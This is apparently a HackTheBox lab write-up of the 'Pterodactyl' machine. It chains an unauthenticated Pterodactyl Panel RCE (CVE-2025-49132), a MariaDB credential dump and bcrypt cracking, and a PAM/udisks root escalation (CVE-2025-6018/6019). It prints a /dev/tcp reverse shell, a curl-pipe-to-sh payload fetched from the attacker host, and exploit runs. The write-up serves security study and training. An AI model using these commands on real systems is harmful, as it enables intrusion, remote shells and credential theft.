HackTheBox: Pterodactyl - CVE-2025-49132 RCE & Chained LPE to Root
HackTheBox2026-02-22

HackTheBox: Pterodactyl - CVE-2025-49132 RCE & Chained LPE to Root

Introduction

Welcome back to another deep-dive walkthrough. Today we're taking on Pterodactyl, a medium-rated Linux machine from HackTheBox Season 10. This box is a full-chain exploitation challenge that ties together:

  • Subdomain enumeration and VHost discovery in a custom CTF environment
  • CVE-2025-49132 — a critical (CVSS 10.0) unauthenticated Remote Code Execution vulnerability in Pterodactyl Panel
  • Credential harvesting from a MariaDB database exposed via the reverse shell
  • Password hash cracking with John the Ripper
  • Chained privilege escalation via CVE-2025-6018 (PAM Environment Hijacking) and CVE-2025-6019 (udisks LPE for a SUID root shell)

Buckle up — this one is packed.

HTB CJCA | Mission Soundtrack
Idle

1. Initial Setup: VPN & Connectivity

As always, we start by connecting to the HTB network via OpenVPN:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Downloads]
└──╼ $sudo openvpn machines_us-2.ovpn
2026-02-22 02:25:58 OpenVPN 2.6.14 x86_64-pc-linux-gnu
2026-02-22 02:25:59 VERIFY OK: depth=0, C=GR, O=Hack The Box, CN=us-free-2

With the tunnel up, a quick ping confirms the target is reachable:

TERMINAL_CODE
└──╼ $ping 10.129.1.46
PING 10.129.1.46 (10.129.1.46) 56(84) bytes of data.
64 bytes from 10.129.1.46: icmp_seq=1 ttl=63 time=575 ms
64 bytes from 10.129.1.46: icmp_seq=2 ttl=63 time=397 ms
64 bytes from 10.129.1.46: icmp_seq=3 ttl=63 time=355 ms
--- 10.129.1.46 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss
rtt min/avg/max/mdev = 354.920/442.427/574.579/82.455 ms

2. Enumeration & Reconnaissance

Port Scanning

I ran my custom TCP scanner, tcp-blast, against the target:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Projects/sd-blast]
└──╼ $tcp-blast -t 10.129.1.46 -p 1-1000

████████╗ ██████╗ ██████╗       ██████╗ ██╗      █████╗ ███████╗████████╗
╚══██╔══╝██╔════╝ ██╔══██╗      ██╔══██╗██║     ██╔══██╗██╔════╝╚══██╔══╝
   ██║   ██║  ███╗██████╔╝█████╗██████╔╝██║     ███████║███████╗   ██║
   ██║   ██║   ██║██╔═══╝ ╚════╝██╔══██╗██║     ██╔══██║╚════██║   ██║
   ██║   ╚██████╔╝██║           ██████╔╝███████╗██║  ██║███████║   ██║
   ╚═╝    ╚═════╝ ╚═╝           ╚═════╝ ╚══════╝╚═╝  ╚═╝╚══════╝   ╚═╝

tcp-blast v1.1 | Fast Bash TCP Port Scanner
Made By @4nuxd
------------------------------------------------------------------------
[*] Target   : 10.129.1.46
[*] Ports    : 1-1000
[*] Threads  : 50
[*] Timeout  : 1s
------------------------------------------------------------------------
PORT       SERVICE          STATUS      VERSION/BANNER
------------------------------------------------------------------------
[+] 22     ssh              OPEN
[+] 80     http             OPEN        nginx/1.21.5
------------------------------------------------------------------------
[✓] Success: Found 2 open port(s)
[*] Total scan time: 21 seconds

Tool: tcp-blast

Two open ports: SSH (22) and HTTP (80) running Nginx 1.21.5.

Web Discovery & Hosts Configuration

Visiting http://10.129.1.46 redirected to http://pterodactyl.htb/. Added the domain to /etc/hosts:

TERMINAL_CODE
└──╼ $sudo nano /etc/hosts
# Entry added:
10.129.1.46 pterodactyl.htb

After the hosts file update, pterodactyl.htb revealed a Minecraft server landing page:

Pterodactyl Homepage
[fig_01]: Pterodactyl Homepage

The homepage advertises a Minecraft community server at play.pterodactyl.htb — but there's likely more hiding behind other subdomains.

3. Subdomain Enumeration

I used my subdomain enumeration tool, sd-blast, which runs 10+ passive and active sources in parallel — including a custom VHost brute-force mode targeting the IP directly:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Projects/sd-blast]
└──╼ $sd-blast -t pterodactyl.htb

██████╗ ██╗  ██╗██████╗ ██╗  ██╗██████╗
██╔════╝ ██║  ██║██╔══██╗╚██╗██╔╝██╔══██╗
██║  ███╗███████║██████╔╝ ╚███╔╝ ██║  ██║
██║   ██║╚════██║██╔══██╗ ██╔██╗ ██║  ██║
╚██████╔╝     ██║██║  ██║██╔╝ ██╗██████╔╝
 ╚═════╝      ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝

God-Level Subdomain Enumerator  v3.2.0
─────────────────────────────────────────────────────
35+ passive sources · 18 tools · zone-xfer · probe · PARALLEL

[+] Target     : pterodactyl.htb
[i] VHost mode enabled — hitting 10.129.1.46 with Host: headers (bypassing DNS)

[1/10] subfinder     → 0 results
[2/10] amass         → 0 results
...
[10/10] vhost-brute  → 1 results

[✓] Raw unique subdomains : 1
Domain: pterodactyl.htb
All subs: panel.pterodactyl.htb

Tool: sd-blast

Discovery: panel.pterodactyl.htb — added to /etc/hosts alongside the main domain.

TERMINAL_CODE
10.129.1.46 pterodactyl.htb panel.pterodactyl.htb

4. Foothold: CVE-2025-49132 — Unauthenticated RCE

Navigating to http://panel.pterodactyl.htb/auth/login reveals the Pterodactyl Panel login page:

Pterodactyl Panel Login
[fig_01]: Pterodactyl Panel Login

Checking the changelog at http://pterodactyl.htb/changelog.txt reveals the exact version:

TERMINAL_CODE
[Installed] Pterodactyl Panel v1.11.10
- Configured environment:
  - PHP with required extensions.
  - MariaDB 11.8.3 backend.

Vulnerability Analysis: CVE-2025-49132

A quick search reveals a devastating vulnerability for this exact version.

CVE-2025-49132 — Critical (CVSS 10.0) — Unauthenticated Remote Code Execution in Pterodactyl Panel.

The panel's /locales/locale.json endpoint accepts locale and namespace query parameters without sanitization. An attacker can abuse these parameters alongside PEAR's pearcmd to write and execute arbitrary PHP files on the server — no authentication required.

The broken trust chain in short:

  1. The panel blindly trusts user-controlled locale and namespace parameters.
  2. These parameters cross a security boundary into PEAR's configuration system.
  3. PEAR writes a PHP config file controlled by the attacker into a web-accessible directory.
  4. Visiting the dropped payload triggers arbitrary server-side code execution.

Setting Up the Attack

Step 1: Write a reverse shell script (shell.sh):

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $cat shell.sh
sh -i >& /dev/tcp/10.10.14.64/4444 0>&1

Step 2: Start a local HTTP server to host the payload:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Step 3: Start a Netcat listener to catch the shell:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444

Step 4: Fire the exploit, ordering the target to download and execute shell.sh:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $python3 CVE-2025-49132.py --target "pterodactyl.htb" \
  --cmd 'curl http://10.10.14.64:8000/shell.sh | sh'

The exploit uses PEAR's pearcmd to write a PHP file containing our payload, then triggers it via the vulnerable endpoint. Shortly after, the HTTP server logs the incoming request:

TERMINAL_CODE
10.129.1.46 - - [22/Feb/2026 03:29:55] "GET /shell.sh HTTP/1.1" 200 -

Shell Caught

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.1.46 35420
sh: cannot set terminal process group (1214): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$

We're in as wwwrun — the web server service account.

Stabilizing the Shell

TERMINAL_CODE
sh-4.4$ python3 -c 'import pty; pty.spawn("/bin/bash")'
wwwrun@pterodactyl:/var/www/pterodactyl>

5. Post-Exploitation: User Flag

Exploring the filesystem from our shell:

TERMINAL_CODE
wwwrun@pterodactyl:/var/www/pterodactyl> cd /
wwwrun@pterodactyl:/> cd home
wwwrun@pterodactyl:/home> ls
headmonitor  phileasfogg3
wwwrun@pterodactyl:/home> cd phileasfogg3
wwwrun@pterodactyl:/home/phileasfogg3> cat user.txt
b1bcfd6cb5c9a461b6[Re]

🏁 User Flag: b1bcfd6cb5c9a46[Redacted]

6. Lateral Movement: MariaDB Credential Dump

The web root contains the Laravel .env file — a goldmine for credentials:

TERMINAL_CODE
wwwrun@pterodactyl:/var/www/pterodactyl> cat .env
APP_URL="http://panel.pterodactyl.htb"
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel

With the DB credentials in hand, I queried the users table directly from the reverse shell (since the DB only listens on localhost):

TERMINAL_CODE
wwwrun@pterodactyl:/var/www/pterodactyl> mysql -h 127.0.0.1 -P 3306 \
  -u pterodactyl -pPteraPanel -D panel \
  -e "SELECT email,username,password FROM users;"

+------------------------------+--------------+--------------------------------------------------------------+
| email                        | username     | password                                                     |
+------------------------------+--------------+--------------------------------------------------------------+
| headmonitor@pterodactyl.htb  | headmonitor  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3@pterodactyl.htb | phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+------------------------------+--------------+--------------------------------------------------------------+

Two bcrypt hashes obtained. Time to crack them.

Hash Cracking with John the Ripper

Saved the hashes to a local file and ran John against rockyou.txt:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~]
└──╼ $cat hashes.txt
$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi

└──╼ $john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads

!QAZ2wsx         (phileasfogg3)

Password cracked: !QAZ2wsx for user phileasfogg3.

SSH Login as phileasfogg3

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl]
└──╼ $ssh phileasfogg3@10.129.1.46
(phileasfogg3@10.129.1.46) Password: !QAZ2wsx
Have a lot of fun...
Last login: Sun Feb 22 00:29:36 2026 from 10.10.14.64
phileasfogg3@pterodactyl:~> whoami
phileasfogg3

7. Privilege Escalation: A Two-CVE Chain to Root

Initial Enumeration

Checking what phileasfogg3 can do:

TERMINAL_CODE
phileasfogg3@pterodactyl:~> sudo -l
User phileasfogg3 may run the following commands on pterodactyl:
    (ALL) ALL

Interesting — full sudo access, but it requires the user's own password (due to targetpw). Standard SUID/setuid hunting didn't yield anything useful since the system was hardened.

After thorough enumeration, I checked the user's mail:

TERMINAL_CODE
phileasfogg3@pterodactyl:/var/mail> cat phileasfogg3
From: headmonitor headmonitor@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)

Attention all users,

Unusual activity has been observed from the udisks daemon (udisksd).
No confirmed compromise at this time, but increased vigilance is required.

Do not connect untrusted external media. Review your sessions for
suspicious activity. Administrators should review udisks and system logs
and apply pending updates.

— HeadMonitor, System Administrator

The mail is a massive hint: udisksd. This points directly to a known privilege escalation chain.

Phase 1 — CVE-2025-6018: PAM Environment Hijacking

CVE-2025-6018 leverages a vulnerability in PAM's environment loading mechanism to inject environment variables into privileged processes when a new SSH session authenticates.

We set up a Python virtual environment and install the required dependencies:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl/CVE-2025-6019]
└──╼ $python3 -m venv 6018
└──╼ $source 6018/bin/activate
(6018) └──╼ $pip install paramiko pyinstaller
Successfully installed paramiko-4.0.0 pyinstaller-6.19.0 ...

The exploit connects via SSH as phileasfogg3, writes a malicious .pam_environment file, then reconnects to trigger the environment loading and confirm privilege escalation vectors:

TERMINAL_CODE
(6018) └──╼ $./CVE-2025-6018.py -i 10.129.1.46 -u phileasfogg3 -p '!QAZ2wsx'
2026-02-22 05:14:03 [INFO] Starting CVE-2025-6018 exploit against 10.129.1.46:22
2026-02-22 05:14:06 [INFO] Authentication (password) successful!
2026-02-22 05:14:07 [INFO] Vulnerable PAM version detected: pam-1.3.0
2026-02-22 05:14:11 [INFO] pam_systemd.so found - escalation vector available
2026-02-22 05:14:16 [INFO] Malicious environment file created successfully
2026-02-22 05:14:23 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Reboot
2026-02-22 05:14:24 [INFO] PRIVILEGE ESCALATION DETECTED: SystemD Shutdown
2026-02-22 05:14:26 [INFO] EXPLOITATION SUCCESSFUL - Privilege escalation confirmed

--- Interactive Shell ---
Commands: 'exit' to quit, 'status' for privilege check
exploit$

We now have an elevated interactive shell session via CVE-2025-6018.

Phase 2 — CVE-2025-6019: udisks LPE for SUID Root Shell

CVE-2025-6019 is a Local Privilege Escalation vulnerability in libblockdev/udisks, which allows an authenticated local user to trigger a race condition during filesystem mount operations to plant a SUID bash binary.

Step 1: Prepare the exploit and XFS image on the attacker machine:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl/CVE-2025-6019]
└──╼ $sudo bash exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
Continue? [y/N]: y
Select mode:
[L]ocal: Create 300 MB XFS image (requires root)
[C]ible: Exploit target system
[L]ocal or [C]ible? (L/C): l

[+] 300 MB XFS image created: ./xfs.image

Step 2: Transfer the exploit and XFS image to the target via a Python HTTP server:

TERMINAL_CODE
┌─[g4rxd@parrot]─[~/Desktop/Study/HTB/Pterodactyl/CVE-2025-6019]
└──╼ $python3 -m http.server
10.129.1.46 - [22/Feb/2026 04:18:22] "GET /exploit.sh HTTP/1.1" 200 -
10.129.1.46 - [22/Feb/2026 04:21:39] "GET /xfs.image HTTP/1.1" 200 -

On the target (via the CVE-2025-6018 elevated shell):

TERMINAL_CODE
exploit$ cd /var/mail
exploit$ wget http://10.10.14.64:8000/exploit.sh
exploit.sh  [100%] 9.72K  4.24KB/s

exploit$ wget http://10.10.14.64:8000/xfs.image
xfs.image   [100%] 300.00M  1.29MB/s

Step 3: Execute the exploit in [C]ible (target) mode from within the elevated shell:

TERMINAL_CODE
exploit$ bash exploit.sh
PoC for CVE-2025-6019 (LPE via libblockdev/udisks)
Continue? [y/N]: y

[*] Checking allow_active status...
[+] allow_active status confirmed.
[*] Verifying xfs.image integrity...
[*] Setting up loop device...
[+] Loop device configured: /dev/loop0
[*] Keeping filesystem busy to prevent unmounting...
[+] Background loop started (PID: 18618)
[*] Resizing filesystem to trigger mount...
[+] Mount successful (expected error: target is busy).
[*] Waiting 2 seconds for mount to stabilize...
[*] Checking for SUID bash in /tmp/blockdev*...
[+] SUID bash found: /tmp/blockdev.76Z7K3/bash
-rwsr-xr-x 1 root root 1298416 Feb 22 00:50 /tmp/blockdev.76Z7K3/bash
[*] Executing root shell...
bash-5.2#

Verifying Root

TERMINAL_CODE
bash-5.2# id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)

We have an effective UID of 0 — root.

8. Root Flag

TERMINAL_CODE
bash-5.2# cat /root/root.txt
ac4cde841d5199f[Redacted]

🏁 Root Flag: ac4cde841d7[Redacted]

Summary & Takeaways

StepTechniqueTool / CVE
ReconTCP Port Scantcp-blast
DiscoveryVHost Subdomain Brute-Forcesd-blast
FootholdUnauthenticated RCE via PEAR pearcmd abuseCVE-2025-49132
CredentialsMariaDB dump from .envMySQL CLI
Hash Crackbcrypt cracked with rockyou.txtJohn the Ripper
PrivEsc Phase 1PAM environment variable hijackingCVE-2025-6018
PrivEsc Phase 2udisks race condition → SUID bashCVE-2025-6019
RootSUID bash -pbash-5.2

Pterodactyl is an excellent box that demonstrates how a single public-facing web application running on an outdated version can chain into a full system compromise. The CVE-2025-49132 exploit is particularly impactful because it's completely unauthenticated — no credentials needed, just a reachable web server. The privilege escalation chain via PAM + udisks shows that even after initial access, creative enumeration (like reading local mail!) can reveal the exact path to root.

Key lessons:

  • Always check local mail — /var/mail/<user> is a goldmine for hints.
  • Changelog files on web servers expose version numbers, and version numbers lead to CVEs.
  • Layered exploits: CVE-2025-6018 unlocked the allow_active polkit privilege that CVE-2025-6019 needed. Neither worked alone.

If you have any questions or want to discuss this walkthrough, feel free to reach out on Twitter / X or use the interactive terminal on this site!

Mission Accomplished. 🏁

Disseminate_Intel:
Tags
##HTB##Pterodactyl##RCE##CVE-2025-49132##CVE-2025-6018##CVE-2025-6019##PrivEsc##Season10

Transmission Complete

If you found this writeup helpful, feel free to reach out for collaborations or security discussions.

INITIATE_CONTACT